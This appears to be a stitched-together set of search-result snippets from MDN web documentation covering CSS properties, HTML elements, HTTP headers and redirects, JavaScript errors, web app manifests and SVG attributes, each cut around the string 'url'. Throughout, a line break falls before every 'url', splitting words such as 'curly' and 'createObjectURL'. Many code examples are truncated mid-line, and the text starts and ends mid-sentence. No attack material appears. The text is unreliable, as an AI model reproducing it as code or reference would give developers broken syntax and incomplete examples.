url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
font-style - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | italic | oblique <angle>{0,2} examples specifying an italic font style as an example, consider the garamond font family, in its normal form, we get the following result: @font-face { font-family: garamond; src:
url('garamond.ttf'); } the italicized version of this text uses the same glyphs present in the unstyled version, but they are artificially sloped by a few degrees.
... @font-face { font-family: garamond; src:
url('garamond-italic.ttf'); font-style: italic; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
@namespace - CSS: Cascading Style Sheets
syntax /* default namespace */ @namespace
url(xml-namespace-
url); @namespace "xml-namespace-
url"; /* prefixed namespace */ @namespace prefix
url(xml-namespace-
url); @namespace prefix "xml-namespace-
url"; description the defined namespaces can be used to restrict the universal, type, and attribute selectors to only select elements within that namespace.
...[ <string> | <
url> ];where <namespace-prefix> = <ident> examples specifying default and prefixed namespaces @namespace
url(http://www.w3.org/1999/xhtml); @namespace svg
url(http://www.w3.org/2000/svg); /* this matches all xhtml <a> elements, as xhtml is the default unprefixed namespace */ a {} /* this matches all svg <a> elements */ svg|a {} /* this matches both xhtml and svg <a> elements */ *|a {} specific...
Value definition syntax - CSS: Cascading Style Sheets
c
urly braces ({ }) the c
urly braces multiplier, enclosing two integers separated by a comma, a and b, indicates that the entity must appear at least a times and at most b times.
... {a,b} c
urly braces at least a times, at most b times bold smaller{1,3} # hash mark 1 or more times, but each occurrence separated by a comma (',') bold smaller# !
background-attachment - CSS: Cascading Style Sheets
</p> css p { background-image:
url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images this property supports multiple background images.
...</p> css p { background-image:
url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that speci...
background-position - CSS: Cascading Style Sheets
html <div class="exampleone">example one</div> <div class="exampletwo">example two</div> <div class="examplethree">example three</div> css /* shared among all <div>s */ div { background-color: #ffee99; background-repeat: no-repeat; width: 300px; height: 80px; margin-bottom: 12px; } /* these examples use the `background` shorthand property */ .exampleone { background:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 2.5cm bottom no-repeat; } .exampletwo { background:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 left 4em bottom 1em no-repeat; } /* multiple background images: each image is matched with the corresponding position, from first specified to last.
... */ .examplethree { background-image:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif"),
url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-position' in that specification.
background-repeat - CSS: Cascading Style Sheets
s="three"></div> </li> <li>repeat-y <div class="four"></div> </li> <li>space <div class="five"></div> </li> <li>round <div class="six"></div> </li> <li>repeat-x, repeat-y (multiple images) <div class="seven"></div> </li> </ol> css /* shared for all divs in example */ ol, li { margin: 0; padding: 0; } li { margin-bottom: 12px; } div { background-image:
url(https://mdn.mozillademos.org/files/12005/starsolid.gif); width: 160px; height: 70px; } /* background repeats */ .one { background-repeat: no-repeat; } .two { background-repeat: repeat; } .three { background-repeat: repeat-x; } .four { background-repeat: repeat-y; } .five { background-repeat: space; } .six { background-repeat: round; } /* multiple images */ .seven { backgro...
...und-image:
url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png); background-repeat: repeat-x, repeat-y; height: 144px; } result in this example, each list item is matched with a different value of background-repeat.
border-image - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: border-image-outset border-image-repeat border-image-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image:
url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image:
url("/images/border.png") 27 23 / 50px 30px / 1rem round space; the border-image property may be specified with anywhere from one to five of the values listed below.
... #bitmap { width: 200px; background-color: #ffa; border: 36px solid orange; margin: 30px; padding: 10px; border-image:
url("https://udn.realityripple.com/samples/2c/fa0192d18e.png") /* source */ 27 / /* slice */ 36px 28px 18px 8px / /* width */ 18px 14px 9px 4px /* outset */ round; /* repeat */ } result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; bor...
list-style-image - CSS: Cascading Style Sheets
syntax /* keyword values */ list-style-image: none; /* <
url> values */ list-style-image:
url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial; list-style-image: unset; values <
url> location of image to use as the marker.
... formal definition initial valuenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <
url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image:
url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification.
mask-repeat - CSS: Cascading Style Sheets
fs element and all graphics elementsinheritednocomputed valueconsists of two keywords, one per dimensionanimation typediscrete formal syntax <repeat-style>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask css #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image:
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: repeat; /* can be changed in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option val...
...t">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image:
url('mask1.png'),
url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat style, from first specified to last.
mask-type - CSS: Cascading Style Sheets
xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask:
url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> <...
.../mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask:
url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
Video player styling basics - Developer guides
for example, the play/pause button has the following background image definitions (the full base64 strings have been omitted for brevity): .controls button[data-state="play"] { background-image:
url('data:image/png;base64,ivborw0kggoaaa ...
... '); } .controls button[data-state="pause"] { background-image:
url('data:image/png;base64,ivborw0kggoaaa ...
Creating a cross-browser video player - Developer guides
reload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> <!-- flash fallback --> <object type="application/x-shockwave-flash" data="flash-player.swf?video
url=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> <param name="movie" value="flash-player.swf?video
url=video/tears-of-steel-battle-clip-medium.mp4" /> <param name="allowfullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="flashvars" value="controlbar=over&image=img/poster.jpg&file=flash-player.swf?vid...
...eo
url=video/tears-of-steel-battle-clip-medium.mp4" /> <img alt="tears of steel poster image" src="img/poster.jpg" width="1024" height="428" title="no video playback possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>© blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript.
Parsing and serializing XML - Developer guides
xmlhttprequest loads content from a
url; xml content is returned as an xml document object with a dom tree built from the xml itself.
..."error while parsing" : odom.documentelement.nodename); parsing
url-addressable resources into dom trees using xmlhttprequest here is sample code that reads and parses a
url-addressable xml file into a dom tree: var xhr = new xmlhttprequest(); xhr.onload = function() { dump(xhr.responsexml.documentelement.nodename); } xhr.onerror = function() { dump("error while getting xml."); } xhr.open("get", "example.xml"); xhr.responsetype = "document"; xhr.send(); ...
HTML attribute: pattern - HTML: Hypertext Markup Language
the pattern attribute is an attribute of the text, tel, email,
url, password, and search input types.
... some of the input types supporting the pattern attribute, notably the email and
url input types, have expected value syntaxes that must be matched.
<input type="file"> - HTML: Hypertext Markup Language
generate a thumbnail preview of the image by calling
url.createobject
url(curfiles[i]).
...t = document.createelement('ol'); preview.appendchild(list); for(const file of curfiles) { const listitem = document.createelement('li'); const para = document.createelement('p'); if(validfiletype(file)) { para.textcontent = `file name ${file.name}, file size ${returnfilesize(file.size)}.`; const image = document.createelement('img'); image.src =
url.createobject
url(file); listitem.appendchild(image); listitem.appendchild(para); } else { para.textcontent = `file name ${file.name}: not a valid file type.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
the number of seconds until the page should redirect to another - only if the content attribute contains a positive integer followed by the string ';
url=', and a valid
url.
... examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;
url=https://www.mozilla.org"> specifications specification status comment html living standardthe definition of '<meta>' in that specification.
<script>: The Script element - HTML: Hypertext Markup Language
strict-origin-when-cross-origin: send a full
url when performing a same-origin request, but only send the origin when the protocol security level stays the same (e.g.https→https), and send no header to a less secure destination (e.g.
... unsafe-
url: the referrer will include the origin and the path (but not the fragment, password, or username).
Global attributes - HTML: Hypertext Markup Language
itemtype is a valid
url of a vocabulary (such as schema.org) that describes the item and its properties context.
... itemtype specifies the
url of the vocabulary that will be used to define itemprops (item properties) in the data structure.
HTTP authentication - HTTP
location /status { auth_basic "access to the staging site"; auth_basic_user_file /etc/apache2/.htpasswd; } access using credentials in the
url many clients also let you avoid the login prompt by using an encoded
url containing the username and the password like this: https://username:password@www.example.com/ the use of these
urls is deprecated.
... in chrome, the username:password@ part in
urls is even stripped out for security reasons.
MIME types (IANA media types) - HTTP
important: browsers use the mime type, not the file extension, to determine how to process a
url, so it's important that web servers send the correct mime type in the response's content-type header.
...(for example, safari will look at the file extension in the
url if the sent mime type is unsuitable.) there are security concerns as some mime types represent executable content.
Basics of HTTP - HTTP
resource
urls resource
urls, those prefixed with the resource scheme are used by firefox and firefox browser extensions to load resources internally, but is also available to some sites the browser connects to as well.
... choosing between www and non-www
urls this article provides guidance on how to choose whether to use a www-prefixed domain or not, along with the consequences of that choice.
Reason: CORS request external redirect not allowed - HTTP
the cors request was responded to by the server with an http redirect to a
url on a different origin than the original request, which is not permitted during cors requests.
... to fix the problem, update your code to use the new
url as reported by the redirect, thereby avoiding the redirect.
CSP: referrer - HTTP
"origin-when-cross-origin" / "origin-when-crossorigin" send a full
url when performing a same-origin request, but only send the origin of the document for other cases.
... "unsafe-
url" send a full
url (stripped from parameters) when performing a same-origin or cross-origin request.
CSP: report-to - HTTP
report-to: { "group": "csp-endpoint", "max_age": 10886400, "endpoints": [ { "
url": "https://example.com/csp-reports" } ] }, { "group": "hpkp-endpoint", "max_age": 10886400, "endpoints": [ { "
url": "https://example.com/hpkp-reports" } ] } content-security-policy: ...; report-to csp-endpoint report-to: { "group": "endpoint-1", "max_age": 10886400, "endpoints": [ ...
... { "
url": "https://example.com/reports" }, { "
url": "https://backup.com/reports" } ] } content-security-policy: ...; report-to endpoint-1 ...
ETag - HTTP
if the resource at a given
url changes, a new etag value must be generated.
...if a user visits a given
url again (that has an etag set), and it is stale (too old to be considered usable), the client will send the value of its etag along in an if-none-match header field: if-none-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" the server compares the client's etag (sent with if-none-match) with the etag for its current version of the resource, and if both values match (that is, the resource has not ...
Referer - HTTP
header type request header forbidden header name yes syntax referer: <
url> directives <
url> an absolute or partial address of the previous web page from which a link to the currently requested page was followed.
...
url fragments (i.e.
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as
urls for items referenced by the document, including images, css, javascript, and so forth.
... similarly, the link element can be used to resolve hostnames without providing a complete
url, but only, by preceding the hostname with two slashes: <link rel="dns-prefetch" href="//www.mozilla.org/contribute/"> forced prefetching of hostnames might be useful, for example, on the homepage of a site to force pre-resolution of domain names that are referenced frequently throughout the site even though they are not used on the home page itself.
HTTP headers - HTTP
redirects location indicates the
url to redirect a page to.
... x-dns-prefetch-control controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as
urls for items referenced by the document, including images, css, javascript, and so forth.
POST - HTTP
in this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements: application/x-www-form-
urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value.
... request has body yes successful response has body yes safe no idempotent no cacheable only if freshness information is included allowed in html forms yes syntax post /test example a simple form using the default application/x-www-form-
urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-
urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.example content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: ...
Proxy servers and tunneling - HTTP
the javascript function contained in the pac file defines the function: the auto-config file should be saved to a file with a .pac filename extension: proxy.pac and the mime type set to: application/x-ns-proxy-autoconfig the file consists of a function called findproxyfor
url.
... the example below will work in an environment where the internal dns server is set up so that it can only resolve internal host names, and the goal is to use a proxy only for hosts that aren't resolvable: function findproxyfor
url(
url, host) { if (isresolvable(host)) return "direct"; else return "proxy proxy.mydomain.com:8080"; } see proxy auto-configuration (pac) for more examples.
301 Moved Permanently - HTTP
the hypertext transfer protocol (http) 301 moved permanently redirect status response code indicates that the resource requested has been definitively moved to the
url given by the location headers.
... a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new
url).
302 Found - HTTP
the hypertext transfer protocol (http) 302 found redirect status response code indicates that the resource requested has been temporarily moved to the
url given by the location header.
... a browser redirects to this page but search engines don't update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is not sent to the new
url).
308 Permanent Redirect - HTTP
the hypertext transfer protocol (http) 308 permanent redirect redirect status response code indicates that the resource requested has been definitively moved to the
url given by the location headers.
... a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new
url).
SyntaxError: invalid regular expression flag "x" - JavaScript
let obj = {
url: /docs/web }; // syntaxerror: invalid regular expression flag "w" or did you mean to create a string instead?
... let obj = {
url: '/docs/web' }; valid regular expression flags see the table above for the six valid regular expression flags that are allowed in javascript.
SyntaxError: return not in function - JavaScript
maybe there are missing c
urly brackets somewhere?
... examples missing c
urly brackets var cheer = function(score) { if (score === 147) return 'maximum!'; }; if (score > 100) { return 'century!'; } } // syntaxerror: return not in function the c
urly brackets look correct at a first glance, but this code snippet is missing a { after the first if statement.
Warning: expression closures are deprecated - JavaScript
examples deprecated syntax expression closures omit c
urly braces or return statements from function declarations or from method definitions in objects.
... var x = function() 1; var obj = { count: function() 1 }; standard syntax to convert the non-standard expression closures syntax to standard ecmascript syntax, you can add c
urly braces and return statements.
JavaScript error reference - JavaScript
are deprecatedsyntaxerror: "use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate source
url pragmas is deprecated.
...ror: invalid array.prototype.sort argumenttypeerror: invalid argumentstypeerror: invalid assignment to const "x"typeerror: property "x" is non-configurable and can't be deletedtypeerror: setting getter-only property "x"typeerror: variable "x" redeclares argumenturierror: malformed uri sequencewarning: 08/09 is not a legal ecma-262 octal constantwarning: -file- is being assigned a //# sourcemapping
url, but already has onewarning: date.prototype.tolocaleformat is deprecatedwarning: javascript 1.6's for-each-in loops are deprecatedwarning: string.x is deprecated; use string.prototype.x insteadwarning: expression closures are deprecatedwarning: unreachable code after return statement ...
Promise.any() - JavaScript
function fetchanddecode(
url) { return fetch(
url).then(response => { if(!response.ok) { throw new error(`http error!
... status: ${response.status}`); } else { return response.blob(); } }) } let coffee = fetchanddecode('coffee.jpg'); let tea = fetchanddecode('tea.jpg'); promise.any([coffee, tea]).then(value => { let object
url =
url.createobject
url(value); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); }) .catch(e => { console.log(e.message); }); specifications specification promise.any ...
Destructuring assignment - JavaScript
function parseprotocol(
url) { const parsed
url = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(
url); if (!parsed
url) { return false; } console.log(parsed
url); // ["https://developer.mozilla.org/web/javascript", "https", "developer.mozilla.org", "en-us/web/javascript"] const [, protocol, fullhost, fullpath] = parsed
url; return protocol; } console.log(parseprotocol('https://developer.mozilla.org/web/javascript'...
... nested object and array destructuring const metadata = { title: 'scratchpad', translations: [ { locale: 'de', localization_tags: [], last_edit: '2014-04-14t08:43:37',
url: '/de/docs/tools/scratchpad', title: 'javascript-umgebung' } ],
url: '/docs/tools/scratchpad' }; let { title: englishtitle, // rename translations: [ { title: localetitle, // rename }, ], } = metadata; console.log(englishtitle); // "scratchpad" console.log(localetitle); // "javascript-umgebung" for of iteration and destructuring const people = [ { nam...
Object initializer - JavaScript
an object initializer is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in c
urly braces ({}).
... examples creating objects an empty object with no properties can be created like this: let object = {} however, the advantage of the literal or initializer notation is, that you are able to quickly create objects with properties inside the c
urly braces.
for await...of - JavaScript
async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data from
url and calculates response size using the async generator.
... async function getresponsesize(
url) { const response = await fetch(
url); // will hold the size of the response, in bytes.
related_applications - Web app manifests
examples "related_applications": [ { "platform": "play", "
url": "https://play.google.com/store/apps/details?id=com.example.app1", "id": "com.example.app1" }, { "platform": "itunes", "
url": "https://itunes.apple.com/app/example-app1/id123456789" } ] related application values application objects may contain the following values: member description platform the platform on which the application can be found.
... list of available values
url the
url at which the application can be found.
scope - Web app manifests
if the scope is a relative
url, the base
url will be the
url of the manifest.
... examples if the scope is relative, the manifest
url is used as a base
url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification.
shortcuts - Web app manifests
when user invokes a shortcut, the user agent will navigate to the address given by shortcut's
url member.
... examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "
url": "/today", "description": "list of events planned for today" }, { "name": "new event", "
url": "/create/event" }, { "name": "new reminder", "
url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification.
Web app manifests
click each one for more information about it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_
urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_
url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker news app.", "icons": [{ "src": "images/touch/homescreen48.png", "sizes": "48x48", "type": "image/png" }, { "src": "images/touch/homescreen72.png", "sizes": "72x72", "t...
...": "96x96", "type": "image/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "image/png" }, { "src": "images/touch/homescreen168.png", "sizes": "168x168", "type": "image/png" }, { "src": "images/touch/homescreen192.png", "sizes": "192x192", "type": "image/png" }], "related_applications": [{ "platform": "play", "
url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file shou...
<mglyph> - MathML
users will see this displayed if the image
url is wrong, the image is not in one of the supported formats, or until the image is downloaded.
... src the image
url.
Progressive web app structure - Progressive web apps (PWAs)
the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a
url to someone if you want to share it.
...r] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); last of all, the service worker fetches content from the cache if it is available there, providing offline functionality: self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.
url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.
url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); the javascript data the games data is present in the data folder in a form of ...
The building blocks of responsive design - Progressive web apps (PWAs)
let's look at a quick example: header { height: 300px; width: 100%; background:
url(images/small-header.jpg) center; } @media all and (min-width: 480px) { header { background:
url(images/large-header.jpg) center; } } this means that mobile browsers only download the mobile background image asset — not the desktop mobile assets — because they fail the media query tests and therefore ignore the media queries.
... you can also serve a larger graphic to a higher resolution device using a resolution media query, like so: button { background:
url(images/low-res-header.jpg) 1rem center ; } @media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and ( min-resolution: 192dpi), only screen and ( min-resolution: 2dppx) { button { background:
url(images/high-res-header.jpg) 1rem center ; } } this looks rather complicated, but really it's not — we are providing a number of media query options, as at this time different browsers support different resolution media query types and even units.
Structural overview of progressive web apps - Progressive web apps (PWAs)
the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a
url to someone if you want to share it.
... ); }); with that done, we implement the service worker's fetch event handler; its job is to return the contents of the specified file, either from the cache or by loading it over the network (caching it upon doing so): self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.
url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.
url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); auxiliary javascript file: games.js the games data for this app example is pr...
baseFrequency - SVG: Scalable Vector Graphics
> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numbers are provided, the first one represents the base frequency in the horizontal direction and the second one...
...t="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter:
url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'basefrequency' in that specification.
clip-path - SVG: Scalable Vector Graphics
lygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke="green" clip-path="
url(#myclip)" /> <!-- top-right: apply a css basic shape on a fill-box geometry.
...this is the same as having a custom clipping path with a clippathunits set to userspaceonuse --> <rect x="11" y="11" width="8" height="8" stroke="green" clip-path="circle() view-box" /> </svg> usage notes value <
url> | [ <basic-shape> || <geometry-box> ] | none default value none animatable yes <geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the referenc...
cx - SVG: Scalable Vector Graphics
algradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="
url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
...ld" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cx="100%" id="mygradient100"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="
url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="
url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="
url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cx' in that specification.
cy - SVG: Scalable Vector Graphics
gradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="
url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
...ld" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cy="100%" id="mygradient100"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="
url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="
url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="
url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cy' in that specification.
fr - SVG: Scalable Vector Graphics
"5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="
url(#gradient1)" /> <circle cx="100" cy="100" r="100" fill="
url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value 0 animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" ...
... fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="
url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the defin...
fx - SVG: Scalable Vector Graphics
="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="
url(#gradient1)" /> <circle cx="100" cy="100" r="100" fill="
url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value coincides with the presentational value of cx for the element whether the value for cx was inherited or not.
...example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="
